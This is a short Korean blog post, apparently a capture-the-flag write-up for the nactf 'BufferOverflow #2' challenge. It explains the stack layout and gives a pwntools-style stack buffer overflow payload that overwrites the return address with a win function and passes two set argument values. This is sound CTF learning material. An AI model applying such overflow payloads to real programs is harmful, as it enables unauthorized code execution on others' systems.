카테고리 없음

nactf - BufferOverflow #2

ddanss 2019. 9. 24. 08:56
728x90

코드는 이렇고

argv1,2 의 값을 0x14B4Da55, 0xF00DB4BE로 바꿔야 한다.

buf(16) + sfp + ret(win 주소) + win ret주소 + 64bit argv1(8) + argv2(4)

 

payload = "A"*20 + p32(win주소) + "A"*4 + p64(0x14B4DA55) + p32(0xF00DB4BE)

 

여기서 알게된 것은 ret에 어떤 flag관련 주소를 넣으면 그 뒤에 그것에 관한 ret주소가 온다는 것.

반응형